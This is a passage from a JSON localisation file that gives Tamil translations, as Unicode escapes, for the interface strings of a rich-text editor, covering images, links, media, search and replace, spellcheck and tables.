"Focus to contextual toolbar": "\u0b9a\u0bc2\u0bb4\u0bcd\u0ba8\u0bbf\u0bb2\u0bc8 \u0b95\u0bb0\u0bc1\u0bb5\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b95\u0bb5\u0ba9\u0bae\u0bcd \u0b9a\u0bc6\u0bb2\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Insert link (if link plugin activated)": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95 (\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0b9a\u0bc6\u0baf\u0bb2\u0bbe\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0baf\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bbe\u0bb2\u0bcd)",
"Save (if save plugin activated)": "\u0b9a\u0bc7\u0bae\u0bbf\u0b95\u0bcd\u0b95 (\u0b9a\u0bc7\u0bae\u0bbf\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0b9a\u0bc6\u0baf\u0bb2\u0bbe\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0baf\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bbe\u0bb2\u0bcd)",
"Find (if searchreplace plugin activated)": "\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95 (\u0ba4\u0bc7\u0b9f\u0bbf\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bb2\u0bcd \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0b9a\u0bc6\u0baf\u0bb2\u0bbe\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0baf\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bbe\u0bb2\u0bcd)",
"Plugins installed ({0}):": "\u0ba8\u0bbf\u0bb1\u0bc1\u0bb5\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0bc1\u0bb3\u0bcd\u0bb3 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf\u0b95\u0bb3\u0bcd ({0}):",
"Premium plugins:": "\u0b89\u0baf\u0bb0\u0bcd\u0bae\u0ba4\u0bbf\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf\u0b95\u0bb3\u0bcd:",
"Learn more...": "\u0bae\u0bc7\u0bb2\u0bc1\u0bae\u0bcd \u0b85\u0bb1\u0bbf\u0b95...",
"You are using {0}": "\u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0baa\u0baf\u0ba9\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb5\u0ba4\u0bc1 {0}",
"Plugins": "\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf\u0b95\u0bb3\u0bcd",
"Handy Shortcuts": "\u0b8e\u0bb3\u0bbf\u0ba4\u0bbf\u0bb2\u0bcd \u0b95\u0bc8\u0baf\u0bbe\u0bb3\u0b95\u0bcd\u0b95\u0bc2\u0b9f\u0bbf\u0baf \u0b95\u0bc1\u0bb1\u0bc1\u0b95\u0bcd\u0b95\u0bc1\u0bb5\u0bb4\u0bbf\u0b95\u0bb3\u0bcd",
"Horizontal line": "\u0b95\u0bbf\u0b9f\u0bc8 \u0b95\u0bcb\u0b9f\u0bc1",
"Insert\/edit image": "\u0baa\u0b9f\u0bae\u0bcd \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Alternative description": "\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0bb5\u0bbf\u0bb5\u0bb0\u0bae\u0bcd",
"Accessibility": "\u0b85\u0ba3\u0bc1\u0b95\u0bb2\u0bcd\u0ba4\u0ba9\u0bcd\u0bae\u0bc8",
"Image is decorative": "\u0baa\u0b9f\u0bae\u0bcd \u0b85\u0bb2\u0b99\u0bcd\u0b95\u0bbe\u0bb0\u0bae\u0bbe\u0ba9\u0ba4\u0bc1",
"Source": "\u0bae\u0bc2\u0bb2\u0bae\u0bcd",
"Dimensions": "\u0baa\u0bb0\u0bbf\u0bae\u0bbe\u0ba3\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Constrain proportions": "\u0bb5\u0bbf\u0b95\u0bbf\u0ba4\u0bbe\u0b9a\u0bcd\u0b9a\u0bbe\u0bb0\u0ba4\u0bcd\u0ba4\u0bbf\u0bb2\u0bcd \u0b95\u0b9f\u0bcd\u0b9f\u0bc1\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"General": "\u0baa\u0bca\u0ba4\u0bc1",
"Advanced": "\u0bae\u0bc7\u0bae\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0ba4\u0bc1",
"Style": "\u0baa\u0bbe\u0ba3\u0bbf",
"Vertical space": "\u0ba8\u0bc6\u0b9f\u0bc1\u0ba4\u0bb3 \u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Horizontal space": "\u0b95\u0bbf\u0b9f\u0bc8\u0bae\u0b9f\u0bcd\u0b9f \u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Border": "\u0b95\u0bb0\u0bc8",
"Insert image": "\u0baa\u0b9f\u0bae\u0bcd \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Image...": "\u0baa\u0b9f\u0bae\u0bcd...",
"Image list": "\u0baa\u0b9f\u0baa\u0bcd \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
"Rotate counterclockwise": "\u0b95\u0b9f\u0bbf\u0b95\u0bbe\u0bb0 \u0b8e\u0ba4\u0bbf\u0bb0\u0bcd\u0ba4\u0bbf\u0b9a\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b9a\u0bc1\u0bb4\u0bb1\u0bcd\u0bb1\u0bc1",
"Rotate clockwise": "\u0b95\u0b9f\u0bbf\u0b95\u0bbe\u0bb0\u0ba4\u0bcd\u0ba4\u0bbf\u0b9a\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b9a\u0bc1\u0bb4\u0bb1\u0bcd\u0bb1\u0bc1",
"Flip vertically": "\u0b9a\u0bc6\u0b99\u0bcd\u0b95\u0bc1\u0ba4\u0bcd\u0ba4\u0bbe\u0b95 \u0baa\u0bc1\u0bb0\u0b9f\u0bcd\u0b9f\u0bc1",
"Flip horizontally": "\u0b95\u0bbf\u0b9f\u0bc8\u0bae\u0b9f\u0bcd\u0b9f\u0bae\u0bbe\u0b95 \u0baa\u0bc1\u0bb0\u0b9f\u0bcd\u0b9f\u0bc1",
"Edit image": "\u0baa\u0b9f\u0ba4\u0bcd\u0ba4\u0bc8 \u0ba4\u0bca\u0b95\u0bc1",
"Image options": "\u0baa\u0b9f \u0bb5\u0bbf\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Zoom in": "\u0baa\u0bc6\u0bb0\u0bbf\u0ba4\u0bbe\u0b95\u0bcd\u0b95\u0bc1",
"Zoom out": "\u0b9a\u0bbf\u0bb1\u0bbf\u0ba4\u0bbe\u0b95\u0bcd\u0b95\u0bc1",
"Crop": "\u0b9a\u0bc6\u0ba4\u0bc1\u0b95\u0bcd\u0b95\u0bc1",
"Resize": "\u0bae\u0bb1\u0bc1\u0b85\u0bb3\u0bb5\u0bbf\u0b9f\u0bc1",
"Orientation": "\u0ba4\u0bbf\u0b9a\u0bc8\u0baf\u0bae\u0bc8\u0bb5\u0bc1",
"Brightness": "\u0b92\u0bb3\u0bbf\u0bb0\u0bcd\u0bb5\u0bc1",
"Sharpen": "\u0b95\u0bc2\u0bb0\u0bcd\u0bae\u0bc8\u0baf\u0bbe\u0b95\u0bcd\u0b95\u0bc1",
"Contrast": "\u0ba8\u0bbf\u0bb1\u0bae\u0bbe\u0bb1\u0bc1\u0baa\u0bbe\u0b9f\u0bc1",
"Color levels": "\u0bb5\u0ba3\u0bcd\u0ba3 \u0ba8\u0bbf\u0bb2\u0bc8\u0b95\u0bb3\u0bcd",
"Gamma": "Gamma",
"Invert": "\u0ba8\u0bc7\u0bb0\u0bcd\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1",
"Apply": "\u0baa\u0baf\u0ba9\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"Back": "\u0baa\u0bbf\u0ba9\u0bcd",
"Insert date\/time": "\u0ba4\u0bc7\u0ba4\u0bbf\/\u0ba8\u0bc7\u0bb0\u0bae\u0bcd \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Date\/time": "\u0ba4\u0bc7\u0ba4\u0bbf\/\u0ba8\u0bc7\u0bb0\u0bae\u0bcd",
"Insert\/edit link": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Text to display": "\u0b95\u0bbe\u0b9f\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bbf\u0baf \u0b89\u0bb0\u0bc8",
"Url": "\u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf",
"Open link in...": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc8 \u0b87\u0ba4\u0bbf\u0bb2\u0bcd \u0ba4\u0bbf\u0bb1\u0b95\u0bcd\u0b95...",
"Current window": "\u0ba4\u0bb1\u0bcd\u0baa\u0bcb\u0ba4\u0bc8\u0baf \u0b9a\u0bbe\u0bb3\u0bb0\u0bae\u0bcd",
"None": "\u0b8f\u0ba4\u0bc1\u0bae\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8",
"New window": "\u0baa\u0bc1\u0ba4\u0bbf\u0baf \u0b9a\u0bbe\u0bb3\u0bb0\u0bae\u0bcd",
"Open link": "\u0ba4\u0bbf\u0bb1\u0ba8\u0bcd\u0ba4 \u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Remove link": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc8 \u0b85\u0b95\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Anchors": "\u0ba8\u0b99\u0bcd\u0b95\u0bc2\u0bb0\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Link...": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1...",
"Paste or type a link": "\u0b92\u0bb0\u0bc1 \u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95 \u0b85\u0bb2\u0bcd\u0bb2\u0ba4\u0bc1 \u0ba4\u0b9f\u0bcd\u0b9f\u0b9a\u0bcd\u0b9a\u0bbf\u0b9f\u0bc1\u0b95",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb3\u0bcd\u0bb3\u0bbf\u0b9f\u0bcd\u0b9f \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf (URL) \u0b92\u0bb0\u0bc1 \u0bae\u0bbf\u0ba9\u0bcd-\u0b85\u0b9e\u0bcd\u0b9a\u0bb2\u0bcd \u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf \u0baa\u0bcb\u0bb2\u0bcd \u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1\u0b95\u0bbf\u0bb1\u0ba4\u0bc1. \u0ba4\u0bc7\u0bb5\u0bc8\u0baf\u0bbe\u0ba9 mailto: \u0bae\u0bc1\u0ba9\u0bcd-\u0b92\u0b9f\u0bcd\u0b9f\u0bc8\u0ba4\u0bcd (prefix) \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bbe?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb3\u0bcd\u0bb3\u0bbf\u0b9f\u0bcd\u0b9f \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf (URL) \u0b92\u0bb0\u0bc1 \u0bb5\u0bc6\u0bb3\u0bbf\u0baa\u0bcd\u0baa\u0bc1\u0bb1 \u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 (external link) \u0baa\u0bcb\u0bb2\u0bcd \u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1\u0b95\u0bbf\u0bb1\u0ba4\u0bc1. \u0ba4\u0bc7\u0bb5\u0bc8\u0baf\u0bbe\u0ba9 http:\/\/ \u0bae\u0bc1\u0ba9\u0bcd-\u0b92\u0b9f\u0bcd\u0b9f\u0bc8\u0ba4\u0bcd (prefix) \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bbe?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "\u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb3\u0bcd\u0bb3\u0bbf\u0b9f\u0bcd\u0b9f \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf (URL) \u0b92\u0bb0\u0bc1 \u0bb5\u0bc6\u0bb3\u0bbf\u0baa\u0bcd\u0baa\u0bc1\u0bb1 \u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 (external link) \u0baa\u0bcb\u0bb2\u0bcd \u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1\u0b95\u0bbf\u0bb1\u0ba4\u0bc1. \u0ba4\u0bc7\u0bb5\u0bc8\u0baf\u0bbe\u0ba9 https:\/\/ \u0bae\u0bc1\u0ba9\u0bcd-\u0b92\u0b9f\u0bcd\u0b9f\u0bc8 (prefix) \u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95 \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0bb5\u0bbf\u0bb0\u0bc1\u0bae\u0bcd\u0baa\u0bc1\u0b95\u0bbf\u0bb1\u0bc0\u0bb0\u0bcd\u0b95\u0bb3\u0bbe?",
"Link list": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1\u0baa\u0bcd \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
"Insert video": "\u0b95\u0bbe\u0ba3\u0bca\u0bb3\u0bbf \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Insert\/edit video": "\u0b95\u0bbe\u0ba3\u0bca\u0bb3\u0bbf \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Insert\/edit media": "\u0b8a\u0b9f\u0b95\u0bae\u0bcd \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Alternative source": "\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0bae\u0bc2\u0bb2\u0bae\u0bcd",
"Alternative source URL": "\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0bae\u0bc2\u0bb2 \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf",
"Media poster (Image URL)": "\u0b8a\u0b9f\u0b95 \u0b9a\u0bc1\u0bb5\u0bb0\u0bca\u0b9f\u0bcd\u0b9f\u0bbf (\u0b89\u0b9f \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf)",
"Paste your embed code below:": "\u0ba4\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0b9f\u0bcd\u0baa\u0bc6\u0bbe\u0ba4\u0bbf \u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bcd\u0b9f\u0bc8 \u0b95\u0bc0\u0bb4\u0bc7 \u0b92\u0b9f\u0bcd\u0b9f\u0bb5\u0bc1\u0bae\u0bcd:",
"Embed": "\u0b89\u0b9f\u0bcd\u0baa\u0bca\u0ba4\u0bbf",
"Media...": "\u0b8a\u0b9f\u0b95\u0bae\u0bcd...",
"Nonbreaking space": "\u0baa\u0bbf\u0bb0\u0bbf\u0baf\u0bbe\u0ba4 \u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Page break": "\u0baa\u0b95\u0bcd\u0b95 \u0baa\u0bbf\u0bb0\u0bbf\u0baa\u0bcd\u0baa\u0bc1",
"Paste as text": "\u0b89\u0bb0\u0bc8\u0baf\u0bbe\u0b95 \u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Preview": "\u0bae\u0bc1\u0ba9\u0bcd\u0ba8\u0bcb\u0b95\u0bcd\u0b95\u0bc1",
"Print...": "\u0b85\u0b9a\u0bcd\u0b9a\u0bbf\u0b9f\u0bc1\u0b95...",
"Save": "\u0b9a\u0bc7\u0bae\u0bbf\u0b95\u0bcd\u0b95",
"Find": "\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95",
"Replace with": "\u0b87\u0ba4\u0ba9\u0bc1\u0b9f\u0ba9\u0bcd \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Replace": "\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Replace all": "\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc8\u0baf\u0bc1\u0bae\u0bcd \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Previous": "\u0bae\u0bc1\u0ba8\u0bcd\u0ba4\u0bc8\u0baf",
"Next": "\u0b85\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4",
"Find and Replace": "\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0ba4\u0bcd\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Find and replace...": "\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0ba4\u0bcd\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95...",
"Could not find the specified string.": "\u0b95\u0bc1\u0bb1\u0bbf\u0baa\u0bcd\u0baa\u0bbf\u0b9f\u0bcd\u0b9f \u0b9a\u0bb0\u0bae\u0bcd \u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95 \u0bae\u0bc1\u0b9f\u0bbf\u0baf\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8",
"Match case": "\u0bb5\u0b9f\u0bbf\u0bb5\u0ba4\u0bcd\u0ba4\u0bc8 \u0baa\u0bca\u0bb0\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Find whole words only": "\u0bae\u0bc1\u0bb4\u0bc1 \u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd \u0bae\u0b9f\u0bcd\u0b9f\u0bc1\u0bae\u0bcd \u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95",
"Find in selection": "\u0ba4\u0bc7\u0bb0\u0bcd\u0bb5\u0bbf\u0bb2\u0bcd \u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95",
"Spellcheck": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0bb4\u0bc8\u0baf\u0bc8 \u0b9a\u0bb0\u0bbf\u0baa\u0bbe\u0bb0\u0bcd\u0b95\u0bcd\u0b95",
"Spellcheck Language": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0bb4\u0bc8 \u0b9a\u0bb0\u0bbf\u0baa\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1 \u0bae\u0bca\u0bb4\u0bbf",
"No misspellings found.": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0bb4\u0bc8\u0b95\u0bb3\u0bcd \u0b95\u0bbe\u0ba3\u0baa\u0bcd\u0baa\u0b9f\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8.",
"Ignore": "\u0baa\u0bc1\u0bb1\u0b95\u0bcd\u0b95\u0ba3\u0bbf\u0b95\u0bcd\u0b95",
"Ignore all": "\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc8\u0baf\u0bc1\u0bae\u0bcd \u0baa\u0bc1\u0bb1\u0b95\u0bcd\u0b95\u0ba3\u0bbf\u0b95\u0bcd\u0b95",
"Finish": "\u0bae\u0bc1\u0b9f\u0bbf\u0b95\u0bcd\u0b95",
"Add to Dictionary": "\u0b85\u0b95\u0bb0\u0bbe\u0ba4\u0bbf\u0baf\u0bbf\u0bb2\u0bcd \u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95",
"Insert table": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Table properties": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8 \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Delete table": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8 \u0ba8\u0bc0\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Cell": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8",
"Row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8",
"Column": "\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8",
"Cell properties": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8 \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Merge cells": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8\u0b95\u0bb3\u0bcd \u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95",
"Split cell": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8 \u0baa\u0bbf\u0bb0\u0bbf\u0b95\u0bcd\u0b95",
"Insert row before": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0bae\u0bc1\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Insert row after": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0baa\u0bbf\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Delete row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0ba8\u0bc0\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Row properties": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Cut row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0bb5\u0bc6\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Copy row": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0ba8\u0b95\u0bb2\u0bc6\u0b9f\u0bc1\u0b95\u0bcd\u0b95",
"Paste row before": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0bae\u0bc1\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Paste row after": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0baa\u0bbf\u0ba9\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Insert column before": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0bae\u0bc1\u0ba9\u0bcd \u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Insert column after": "\u0b87\u0ba4\u0bb1\u0bcd\u0b95\u0bc1 \u0baa\u0bbf\u0ba9\u0bcd \u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Delete column": "\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0ba8\u0bc0\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Cols": "\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0b95\u0bb3\u0bcd",
"Rows": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0b95\u0bb3\u0bcd",
"Width": "\u0b85\u0b95\u0bb2\u0bae\u0bcd",
"Height": "\u0b89\u0baf\u0bb0\u0bae\u0bcd",
"Cell spacing": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8 \u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Cell padding": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8 \u0ba8\u0bbf\u0bb0\u0baa\u0bcd\u0baa\u0bb2\u0bcd",
"Caption": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Show caption": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b95\u0bbe\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Left": "\u0b87\u0b9f\u0bae\u0bcd",
"Center": "\u0bae\u0bc8\u0baf\u0bae\u0bcd",
"Right": "\u0bb5\u0bb2\u0bae\u0bcd",
"Cell type": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8 \u0bb5\u0b95\u0bc8",
"Scope": "\u0bb5\u0bb0\u0bc8\u0baf\u0bc6\u0bb2\u0bcd\u0bb2\u0bc8",
"Alignment": "\u0b9a\u0bc0\u0bb0\u0bae\u0bc8\u0bb5\u0bc1",
"H Align": "\u0b95\u0bbf (H) \u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"V Align": "\u0b9a\u0bc6 (V) \u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Top": "\u0bae\u0bc7\u0bb2\u0bcd",
"Middle": "\u0ba8\u0b9f\u0bc1",
"Bottom": "\u0b95\u0bc0\u0bb4\u0bcd",
"Header cell": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bb1\u0bc8",
"Row group": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b95\u0bc1\u0bb4\u0bc1",
"Column group": "\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b95\u0bc1\u0bb4\u0bc1",
"Row type": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0bb5\u0b95\u0bc8",
